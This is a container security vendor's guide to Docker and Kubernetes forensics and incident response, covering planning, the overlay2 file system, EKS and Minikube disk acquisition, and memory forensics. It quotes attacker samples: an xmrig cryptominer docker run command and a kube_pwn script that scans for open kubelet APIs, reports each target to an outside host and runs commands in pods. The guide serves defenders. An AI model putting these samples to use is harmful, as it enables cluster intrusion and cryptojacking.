Docker and Kubernetes are great tools for containerization and container orchestration, respectively. They have revolutionized the way we deploy and manage applications, making it easier to scale and maintain them. However, as with any technology, there is a risk of security incidents occurring. In such cases, it is a good idea to have a super-solid incident response plan in place to minimize the impact of the incident and restore normal operation as quickly as possible. One key aspect of incident response is forensics, which involves collecting and analyzing evidence to understand the root cause of the incident and determine the appropriate course of action. In this guide, we will explore the steps involved in Docker and Kubernetes forensics and incident response, as well as some best practices and tools that can help you handle these situations effectively. 1. Identify the Incident The first step in any incident response plan is to identify that an incident has occurred. This can be done through a variety of means, such as monitoring tools, error logs, and user reports. It is important to act quickly once an incident is identified to minimize the impact and begin the process of remediation. 2. Contain the Incident Once an incident has been identified, the next step is to contain it to prevent it from spreading or causing further damage. This may involve taking actions such as isolating the affected system, shutting down services, or disconnecting network connections. 3. Collect Evidence Once the incident has been contained, the next step is to collect evidence to understand the root cause and determine the appropriate course of action. This may involve collecting logs, system images, and other relevant data. It is important to handle the evidence in a forensically sound manner to ensure its integrity and reliability. 4. Analyze the Evidence Once the evidence has been collected, it is time to analyze it to understand the root cause of the incident and determine the appropriate course of action. This may involve using tools such as log analysis tools, network analysis tools, and forensic analysis tools. 5. Remediate the Incident Once the root cause of the incident has been identified, the next step is to take steps to remediate it. This may involve patching vulnerabilities, restoring data, or implementing new security controls. It is important to fully remediate the incident to prevent it from happening again in the future. 6. Review and Update the Incident Response Plan After an incident has been successfully remediated, it is important to review and update the incident response plan to reflect any lessons learned and to ensure that it is as effective as possible in future incidents.

1. The Ultimate Guide to
Docker & Kubernetes
Forensics & Incident
Response
Playbook

2. www.cadosecurity.com 2
Introduction 3
Building a Container Forensics Incident Response Plan 3
How Attackers Are Compromising Containerised Systems 5
Investigating Compromises in Containerised Environments 7
A Brief Introduction to the Docker File System 9
Example Acquisition: Acquiring an Amazon EKS System 13
Example Acquisition: Exporting Disks from Kubernetes Containers on
Windows with Hyper-V 14
Kubernetes Memory Forensics 18
Open Source & Community Tools 20
Further Reading 20
Cado Response 21
Visibility Confidence
2
Table of Contents

3. www.cadosecurity.com 3
As organizations continue to migrate their computing resources to cloud and
container environments, attackers are right behind them. Virtualization technology
has come a long way and has been great for enterprises across the board.
However, the dynamic and ephemeral nature of these resources means they grow,
shrink and recycle data in a way that makes it almost impossible for security experts
to investigate a breach and understand which assets and data have been
compromised. Hackers are taking advantage of this.
This guide covers best practices for conducting forensics and
incident response of containerized applications running in Docker
and Kubernetes so you can efficiently investigate and respond to
security incidents that occur in containerized environments.
3
Introduction
Building a Container Forensics
Incident Response Plan
When building a container forensics incident response plan,
there are three main focus areas to consider:
Preventative
Measures
Preservation &
Investigation
Planning &
Testing

4. www.cadosecurity.com 4
Preventative Measures
Preventative measures can help reduce the risk of container compromise:
● Restrict access to kubectl and the Docker/Kubernetes APIs
● Ensure Kubernetes and Docker and the containers running within are kept
patched and up to date
● Create an allow-list for inbound and outbound network traffic
4
Preservation & Investigation
In the event an incident occurs, it is critical to preserve the evidence that’s required
to allow for an in-depth investigation:
● Never destroy the node when compromised! This will make it impossible to
identify root cause
● Determine which evidence you plan to capture and ensure its enough visibility
to determine root cause and impact -- remember, the more data sources you
can analyze, the better your investigation will be
● Have a plan for how to capture the data you need and test your ability to
capture it- given the dynamic and ephemeral nature of containers, automation
is key
● Know how to snapshot the host that contains the containerized disks
Planning & Testing
As always, planning and testing is crucial to ensuring alignment and overall success
in the event a major incident occurs:
● Assign an incident response lead to serve as the primary decision maker
during a major incident
● Determine which parts of the business you need to communicate with in the
event a breach occurs
● Understand what legal and/or customer obligations you have following a
major incident
● Decide what’s considered a high-severity incident, and implement escalation
processes and procedures
● Conduct red team exercises and assessments to continuously improve your
security defenses and be best prepared for a real-world data breach

5. www.cadosecurity.com 5
Below are a few examples of the methods and Tools, Techniques and Procedures (TTPs)
attackers are using to compromise containerized systems.
5
How Attackers are Compromising
Containerized Systems
Below is an example command attackers use to start a malicious Docker container
on a compromised host using the “docker run” command:
docker run --name sosmsen2 --restart unle ss-stopped --read-only -m 50M bitnn/alpine-xmrig -o
stratum+tcp://xmr.crypto-pool.fr:3333 -u
41e2vPcVux9NNeTfWe8TLK2UWxCXJvNyCQtNb69YEexdNs711jEaDRXWbwaVe4vUMveKAzAi
A4j8xgUi29TpKXpm3zKTUYo -p x -k --donate-level=1
We often also see attackers spin up the official xmrig
docker containers too. In general, if you see a
container running with “xmrig” in the name,
it usually means an investigation is
required.
#1 Running Local Docker Commands

6. www.cadosecurity.com 6
6
Below is an example shell script attackers use to move laterally on a compromised network by
finding open Kubernetes APIs on the default port 10250 and 10255:
kube_pwn(){
LRANGE=$1
rndstr=$(head /dev/urandom | tr -dc a-z | head -c 6 ; echo '')
eval "$rndstr"="'$(masscan --open -p10250 $LRANGE --rate=250000 | awk '{print $6}')'";
for ipaddr in ${!rndstr} ; do
if [ -f $TEMPFILE ]; then rm -f $TEMPFILE; fi
timeout -s SIGKILL $T1OUT curl -sLk https://$theip:10250/runningpods/ | jq -r '.items[] |
.metadata.namespace + " " + .metadata.name + " " + .spec.containers[].name' >> $TEMPFILE
KUBERES=$?
if [ "$KUBERES" = "0" ];then
curl -sLk http://45.9.148[.]85/chimaera/up/kube_in.php?target=$theip
while read namespace podname containername; do
timeout -s SIGKILL $T1OUT curl -XPOST -k
https://$theip:10250/run/$namespace/$podname/$containername -d cmd="apt update --fix-missing"
timeout -s SIGKILL $T1OUT curl -XPOST -k
https://$theip:10250/run/$namespace/$podname/$containername -d cmd="sh /tmp/.x2mr"
done < $TEMPFILE
rm -rf $TEMPFILE
fi
done;
}
LAN_RANGES=("10.0.0.0/8" "172.16.0.0/12" "192.168.0.0/16" "169.254.0.0/16" "100.64.0.0/10")
for LRANGE in ${LAN_RANGES[@]}; do kube_pwn $LRANGE ; done
#2 Exploiting the Kubernetes API
Early versions of Kubernetes provided limited default authentication options. Fortunately, this
is no longer the case. However, it’s still important to ensure that access to the
Kubernetes API is restricted with a firewall at the network level and
credentials are set on the host itself.

7. www.cadosecurity.com 7
7
Investigating Compromises in
Containerized Environments
Let’s say you’ve received an alert indicating the presence of monero mining malware on a
Kubernetes host. First and foremost, it’s important to understand whether the
compromise is in the host or in the container/pod.
Below we’ll investigate a compromised Docker container using the overlay2 file system. The
screenshots below are captured from the Cado Response platform, but the filenames and
forensic principles will map to other toolsets:
In this case, we can see a number of suspicious file creation events both before the first malicious
event (e.g. the creation of “64bioset”) and after the event (e.g. the creation of
“setup_moneroocean_miner.sh” ).

8. www.cadosecurity.com 8
8
By reviewing setup_moneroocean_miner.sh, we are provided with a number of additional pivot
points to continue our investigation:
Many coin miners exploit open Docker and Kubernetes APIs. The JSON format logs under
/var/lib/docker/containers may record access and execution. In the example log below, we
can see an xmrig container spinning up:

9. www.cadosecurity.com 9
9
A Brief Introduction to the Docker
File System
Docker supports a number of storage drivers:
● overlay2 is the one you will most commonly see. You will be able to identify it by the
name "overlay2" in the folder names
● aufs was the preferred driver in Docker 18.06 (February 2019 release) and older
● fuse-overlayfs is used for Rootless Docker on older hosts
● devicemapper is used for older versions of CentOS and RedHat
● btrfs and zfs are used for enterprise deployments with more complicated
snapshotting requirements
● vfs is used in testing
We can also see malicious activity by reviewing the Docker container startup logs:

10. www.cadosecurity.com 10
10
Overlay2 is the file system you are most likely to see and it works extremely well for forensics. It’s
also versioned, which helps preserve evidence of attacks. As you can see in the screenshots
below, separate containers are kept in their own folders:

11. www.cadosecurity.com 11
11
As you can see below, you can browse files from within the individual container file systems:

12. www.cadosecurity.com 12
12
AWS EKS Logs Stored in AWS
It's important to also analyze AWS logs that are generated for EKS systems. These contain
metadata around starting and stopping containers. Below you can see a view of AWS logs
collected in Cado Response:

13. www.cadosecurity.com 13
13
Example Acquisition: Acquiring an
Amazon EKS System
In the event malicious activity occurs in a containerized environment, it is critical to have the
ability to acquire the impacted systems as quickly as possible. While you can acquire an
Amazon EKS system using a manual approach using the steps outlined below, it can be
extremely beneficial to automate acquisition. Automating Amazon EKS acquisition can ensure
your not bogged down by manual tasks that take time away from their investigation. This can be
achieved in a single click or via API using the Cado Response platform. Alternatively, you can
use the Cado community tools.
Steps to acquire a cloud system manually:
1. Identify system is compromised
2. Snapshot each Volume
3. Turn Snapshots into Volumes
4. Start up Acquisition Host
5. Attach Volumes in correct manner (changes depending on if the target system is
from the AWS marketplace or not)
6. SSH onto Acquisition Host
7. Hash Volumes
8. Run dd Commands to image Volumes
9. Upload dd images to S3
10. Download S3 images for processing
11. Verify hash of S3 image
12. Start Analysis

14. www.cadosecurity.com 14
14
Example Acquisition: Exporting Disks and
Kubernetes Containers on Windows with
Hyper-V
For this example, we’re running Minikube; however, it should be similar for other Kubernetes
installations (though file locations will differ).
Minikube runs as a single “minikube” Virtual Machine, which in turn runs a number of docker
containers/pods. So first, you need to export the minikube Virtual Machine disk, which contains
the individual pod file systems.
Finding the Minikube Disk
The default location for hard disks under Hyper-V is:
C:UsersPublicDocumentsHyper-VVirtual Hard Disks
However, for this MiniKube the hard disks are stored at:
C:Users(Current User).minikubemachinesminikube
You should see the disk images stored like this:
AVHD files that are visible, from a currently running Minikube
Disk.vhd is the original disk.

15. www.cadosecurity.com 15
15
From here, there are two scenarios:
Converting the Minikube Disk
Open the Hyper-V Manager:
Click “Edit Disk”:
2
1
If Minikube is stopped...
If Minikube is currently running...
You’ll also see AVHD files, as showcased in the screenshot on the previous page. The AVHD
files are different from this original disk image. You’ll need to convert the AVHD file into a normal
VHD before it can be processed by forensic tools.
You’ll only see the VHD file. You’ll need to convert this dynamically sized VHD file to a fixed
size VHD file before it can be processed by most forensic tools.

16. www.cadosecurity.com 16
16
1 Converting the VHD file to a fixed size VHD file
From here, you have two options depending on whether you want to convert a VHD file or a
AVHD file:
Select VHD format:
Select fixed size:
And finally, select where to save the exported disk to.

17. www.cadosecurity.com 17
17
Save the disk as a “Fixed Size” VHD file. This will create a VHD image, which can then be
imported into forensic platforms such as Cado Response:
2 Converting the AVHD File to a fixed size VHD file
If you are converting an AVHD file, choose “Merge”:

18. www.cadosecurity.com 18
18
Kubernetes Memory Forensics
Many of today’s sophisticated hackers leverage techniques that run in memory only — such as
fileless malware, rootkits and process hollowing — flying completely under the radar without the
proper visibility.
By performing memory forensics, security teams gain enhanced visibility and context to identify
the root cause, scope and impact of incidents.
The Value of Memory Forensics
● Gain visibility of run-time information (running processes, loaded libraries and
drivers, command line history, open files, etc.)
● Detect rogue processes, fileless malware and code injection
● Understand when certain activity started with additional context into timeline
activity
When conducting memory forensics in Kubernetes, it’s beneficial to capture the memory of the
Kubernetes node, rather than trying to capture memory from a single container. This is the most
direct and expedient route to preserving the required evidence and understanding where the
compromise actually occurred - whether that be the Kubernetes node itself or a container running
within it.
One caveat to note is that Memory capture provides a “moment in time” view of what was
happening on the node at the exact moment the memory capture was taken. However, when
taken at the right time, it can be very powerful. Given this, it’s important to have the ability to
quickly capture memory immediately following the detection of malicious activity, as this will
provide you with greater visibility into what caused the activity to take place.

19. www.cadosecurity.com 19
19
Looking at the containerd-shim process along and it’s command line switches, you can find the
container’s unique identifier. This unique identifier can then be used to search within docker logs
to find the namespace and the container name, as it is set within the kubernetes configuration
file.
Processes running in a container will run as a child process of containerd-shim. You may find
that the node will have multiple containerd-shim processes running, which will correlate to the
number of running containers.
When conducting memory analysis, it’s important to first look at network connections and running
processes. This will help you understand the context in which processes are running and identify
their parent processes.

20. www.cadosecurity.com 20
20
Open-Source Tools
The DFIR/cyber community has produced a number of open source tools for capturing data in
containerized environments:
● kube-forensics allows a cluster administrator to dump the current state of a running pod
and all its containers so that security professionals can perform offline forensic analysis
● Docker forensics toolkit enables post-mortem analysis of Docker runtime environments
based on forensic HDD copies of the docker host system
● Docker explorer helps a forensics analyst explore offline Docker filesystems
● Docker-fs mounts your docker container FS into a local directory
Further Reading
You may find the following additional resources useful when conducting Docker and Kubernetes
DFIR:
● Container Forensics: When Your Cluster Becomes a Cluster
● Docker Container’s Filesystem Demystified
● Exploring Container Security: Performing forensics on your GKE environment
● Container Forensics with Docker Explorer
Cado Community Tools
At Cado, we’re a passionate group of DFIR experts who wish to provide free tools and resources
to the cyber community:
● Cado Host allows you to acquire evidence from on premises systems (via the Cado Host
agent) and write that evidence to cloud storage for processing.
● Cado Live allows you to build a bootable USB disk to grab a forensic copy of a machine
and write that evidence to cloud storage for processing.
● Cado Cloud Collector allows you to acquire EC2 instances in AWS.

21. www.cadosecurity.com 21
21
Cado Response
Cado Response is the first and only cloud-native digital forensics platform. By automating data
capture and processing across cloud and container environments, Cado Response enables
security teams to efficiently investigate and respond to cyber incidents at cloud speed.
Process Analyze
Collect
Single-Click Acquisition Parallel Processing Powerful Analytics
See how Cado Response is transforming the way security and Digital Forensics and Incident
Response (DFIR) experts perform container forensics by conducting your free investigation
today.
Start Your Free Investigation